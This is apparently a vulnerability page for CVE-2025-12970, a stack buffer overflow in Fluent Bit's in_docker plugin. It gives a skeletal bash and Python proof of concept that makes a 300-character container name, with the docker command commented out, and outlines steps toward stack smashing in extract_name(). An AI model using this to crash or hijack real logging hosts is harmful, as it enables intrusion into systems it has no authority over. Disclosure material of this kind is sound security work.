CVE-2025-12970 Fluent Bit in_docker插件缓冲区溢出漏洞

#!/bin/bash # CVE-2025-12970 PoC - Fluent Bit in_docker Buffer Overflow # Create a container with an excessively long name to trigger overflow # Generate a long container name (>128 bytes to overflow stack buffer) LONG_NAME=$(python3 -c "print('A'*300)") # Attempt to create container with long name # Note: This PoC demonstrates the concept; actual exploitation requires: # 1. Fluent Bit running with in_docker plugin enabled # 2. Attacker has container creation privileges # 3. Container names are not properly sanitized echo "Creating container with long name to trigger CVE-2025-12970..." # For demonstration purposes - actual exploitation requires Docker API access # docker run --name "$LONG_NAME" ubuntu:latest sleep 9999 # The vulnerability is triggered when Fluent Bit's in_docker plugin # processes this container and calls extract_name() without length check cat << 'EOF' # Python PoC for generating long container name payload payload = "A" * 300 print(f"Payload length: {len(payload)}") print(f"Payload: {payload}") # For Metasploit module development, the exploit would: # 1. Create container with controlled long name # 2. Wait for Fluent Bit to process container list # 3. Trigger buffer overflow in extract_name() # 4. Control execution flow via stack smashing EOF